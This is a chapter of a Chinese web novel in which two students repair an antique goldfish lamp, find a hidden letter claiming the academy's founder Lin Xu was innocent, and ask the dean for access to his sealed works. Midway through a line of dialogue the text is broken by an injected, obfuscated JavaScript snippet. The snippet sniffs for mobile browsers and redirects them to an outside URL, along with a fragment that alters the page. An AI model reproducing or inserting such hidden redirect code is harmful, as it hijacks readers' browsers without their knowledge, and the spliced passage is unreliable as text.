林栖盯着那一行符号,逐渐歪起脑袋,几乎要把自己弯成一颗问号,祈越目光在他身上顿了顿,接着将纸片上下调转,“这样试试。” 林栖几乎立刻“哦”了一声站直,脸上的神情与其说是解读,更像是一种无意识地本能。 “……如果,你,能,看到。”林栖断续说完,又重复一遍,“如果你能看到。” 所以这是一封信。 原本打算交给某个人。 祈越没说话,只将纸片对准灯光,让林栖再看。灯光照透时,纸张内部显出几道纤维肌理似的暗影。 林栖盯着看了几秒,“……里面好像画了东西。” “能看懂吗?”祈越问。 林栖探身去看,依然看不清楚,下意识想伸手去拿纸片。 祈越抬手避开,“别碰。” 这种来路不明的东西未必安全。 林栖想着自己可能会弄坏纸片,知错就改地“哦”了一声,认真看过之后摇了摇头。 祈越将纸片放入密封袋里收好,回头时不经意和林栖对上视线。 一瞬安静,两人都觉得对方有话想说。 本来以为只是一盏坏掉的金鱼灯,没想到打开之后里面居然藏着这种秘密。 白诚说,老师是无辜的。 虽然“老师”两个字指代模糊,但联系到他写的书和那段历史,“老师”必定是指林叙。 白诚亲自写了那样一本书佐证林叙罪行,事后却又留下信息说他无辜。 为什么要这样做? 金鱼灯又是留给谁的? 用这么复杂的方式传递消息,一定相信对方能够破解。加上只用“老师”指代林叙,收信人大概也是林叙某位学生。 不过不管对方是谁,这封信都没能成功送到。 祈越和林栖都没开口,片刻,祈越收回目光,仔细检查金鱼灯内部,接着将它拼合完整,又把拆下来的几片鱼鳞装回原位。 林栖看着祈越动作,后知后觉,他们居然真的把金鱼灯拆开了。 ……怎么拆的? 接着,他看到,随着最后一片鱼鳞复位,金鱼灯开始膨胀变胖,内部发出轻微的嘶嘶声响,像有一块海绵在快速吸水,只十几秒钟,就从一条扁扁的风干咸鱼,变成了一条……圆圆的风干咸鱼。 发霉长毛似的鱼鳞在膨胀之后颜色略淡一些,但看起来依旧不太新鲜……当整条鱼几乎胀成一颗正圆,干瘪的鱼眼忽然向外一凸,从黑眼仁里透出一点犀利的光,左右瞪着,似乎谁也不服。 嘶嘶的响声停止,空气静了一瞬,接着金鱼灯忽然亮了起来,肚子里透出一团朦胧的光,照在哪里,哪里就像长出绿毛。 接着,这盏绿油油的金鱼灯从桌上漂浮起来,升到半空之后甩了一下鱼尾,瞪着一双谁也不服的眼睛,径直朝林栖游了过来。 林栖缓缓站直。 眼中倒映出一只发霉咸鱼,随着距离靠近而在视野中发酵膨胀。 真的好丑…… 不是。 居然真的修好了…… 金鱼灯是亮的,林栖却觉眼前一黑,本能向下一蹲,躲开这条迎面而来的鱼,绕到祈越旁边站好。 金鱼灯卡顿一瞬,接着用力甩动尾巴,笨拙地调转方向,又朝林栖游了过来。 林栖莫名觉得那双鱼眼正直直盯着自己,他想起金鱼灯的工作原理,忽然瞄向祈越,果然发现这人胸腔没有一丝起伏,显然正在偷偷憋气。 简直狡诈。 林栖也跟着憋住呼吸,同时捂住自己口鼻。 金鱼灯的速度慢了下来,一双凸出的大眼睛疑惑着朝两人瞪了瞪,接着一扭一扭地背过身子,转而向房门游去。 “咚”的一声,鱼头结结实实撞在门上。 林栖捂着口鼻朝祈越瞄了一眼,祈越不看他,只目不斜视地看着房门。 “咚——”又是一声。 管理员听到声音,疑惑地打开房门,忽然就见一条浑身冒绿光的大胖金鱼朝自己游了过来。 管理员惊呼一声,喘着大气往后倒退。金鱼灯盯着他的身影,谁也不服的眼中透出一丝欣慰,挥舞鱼鳍,尽职尽责地朝管理员脸上游了过去。 林栖缓缓吸气,再次看向祈越。祈越目光偏转过来,抬手朝外一指,平静道:“看来是修好了。” 林栖:“……” 片刻,他小声问:“密码是怎么解开的?” 祈越:“你问我?” 林栖:“?” 惊吓过后,管理员手忙脚乱地给许慎行拨了电话,接通时,胖咸鱼正用圆滚滚的身子拱着他半边脸。 不多时,许慎行风风火火赶到,站在二楼入口狠狠喘了几口粗气,还来不及问明情况,就见一条圆滚滚的发霉咸鱼朝自己冲了过来。 许慎行:“?!” 几分钟后,许慎行初步检查完毕,站在门口给负责修复课的郑圆老师打了电话,为了防止这条咸鱼乱跑,他毫不嫌弃地将它抱在怀里。发霉似的灯光打在本就苍白的脸上,配合夜晚幽深的展馆走廊,画面堪比坟地诈尸。 又过了一会儿,郑圆带着几个高年级学生赶到,有个学生还没爬完楼梯就举着手臂嚷嚷:“快看咸鱼!” “原来咱们‘咸鱼师哥’长这样啊?” “叫师哥可是差着辈呢。”郑圆笑着拆台。 这位郑老师今年不到三十,长着一张娃娃脸,体型像金鱼灯,浑身哪里都像吹了气,唯独手指不胖,否则也做不了修复课的老师。 “怎么修的?”检查过后,郑圆满脸疑惑地看向许慎行。 许慎行难掩喜色地朝他抬抬下巴,“你再确认一下。” “这还有什么可确认的,明摆着是修好了,要不院长你再多喘两口,看它是不是一脑袋撞你脸上。”郑圆和那双鱼眼对视几秒又移开视线,“对了院长,这么晚把我叫来,可得算加班吧?” 许慎行瞥他一眼,“你还想不想知道这灯怎么修的?” “那我当然想啊。” “我不收你咨询费,就当抵了加班。” “院长你怎么能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851934|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样欺负一个胖子?我本来可以在自己屋里减肥,结果跑这一趟,回去起码得吃两顿宵夜。” “我那有两盒巧克力,别人送的,你吃你就拿走。” “还有别的吗?巧克力不能空口吃,至少得配两杯奶茶,一杯七分糖,一杯三分糖,然后再来几块水果蛋糕,中和一下苦味……” 两人讨价还价,走到门前时,许慎行顿了顿,还是没让郑圆跟着一起进屋,只是关好房门,自己单独来到林栖和祈越面前。 许慎行目光从两人身上扫过,不知道该往谁身上落,理智上想,金鱼灯应该是祈越修的,可他之前一个人修了那么久也没进展,林栖一来没几天就修好了。 但要说林栖能把一盏坏了上百年的古董造物修好,他也实在不敢相信。 “说说吧,怎么修好的?”许慎行眸光穿梭,同时向两人发问。 祈越斜倚着工作台,缓缓吐出四个字:“商业机密。” 许慎行又看向林栖。 “嗯……”林栖含混应了一声,拖长的尾音上似乎能站十只麻雀。 看来是都不愿意说了,许慎行退而求其次,又问:“那是你们两个谁修好的?” “一起修的。”这次林栖倒是答得干脆。 一起是怎么一起?这就像凑钱买东西,你出50我出50能叫一起,你出99我出1块也叫一起。 许慎行撇了下嘴,看向林栖,“一起?以后你当修复师还要组合出道?” 林栖轻轻眨眼,睫毛微颤,不吭声。 许慎行虽然好奇,但转念一想,还是算了,别再问了,孩子好不容易找到一点擅长做的,别让他有压力。而且这种专业问题一时半会儿也说不清楚,还是留给郑圆自己慢慢想去。 “之前说过,只要修好就有奖励,不过我也没想到,你们能这么快就修好。”许慎行高高扬起嘴角,笑容明显到仿佛炸了墓地,“这样吧,作为额外嘉奖,想要什么,你自己说,只要不太过分,我都尽量答应。” 林栖想了想问:“这个金鱼灯的作者还有没有其它作品?” 听到问题,祈越不动声色地朝他看了一眼。 许慎行摸着下巴思考,“还真没有,就这一件,如果想找类似风格……” “那我换一个。”林栖赶在许慎行想出替代之前开口。 “行,说我听听。”许慎行确实心情很好,从开学那天起,他就在替林栖操心,这孩子基础太差,又没天赋,现在总算让他看见了一丝曙光。 就算成不了造物师,能做修复师也很好啊! “我听说,学校里收藏了林叙留下来的造物。”林栖语速很慢,显得格外认真,“如果可以的话,我想看看。” 许慎行有些意外,怎么突然说起那位? “是因为金鱼灯吗?复刻品其实很多,有兴趣可以找其他造物师的来看。但如果你只想看原版金鱼灯,那没办法,已经丢了上百年了。” 林栖摇头,“不是因为金鱼灯。” 是因为灯里的东西。 “那就是对咱们这位祖师爷本人有兴趣了。”许慎行了然地点了点头,“也很正常,不过那位留下来的造物不在院里,都在‘白塔’存着。” 林叙是造物学院创始人,情理上讲,他留下来的造物全都属于学院,但校方和院方一致认为,这些造物可能存在未知危险,所以一直于白塔封存,严格监管。 封存区域并不对外开放,参观需要特别申请,如果只是某个学生一时好奇想看,其实很难拿到许可。 但也不是完全没有办法…… D区的损毁造物能以课程名义借回院里研究,以前也有过先例。 “确定想看?”许慎行问林栖。 “嗯。”林栖点头。 “那我想想办法,狗屁学校,只要是走流程的事都没那么快,而且——”许慎行又向之前一样,朝两人身上扫视,“到时候真借出来了,也不能只看看就算了,得想办法修复,要是能修好第一件,就还有理由借下一件,否则就是一锤子买卖,再也没下次了。听懂了吗?” 林栖懂了,许慎行还没兑现奖励,就先给他画了一张大饼。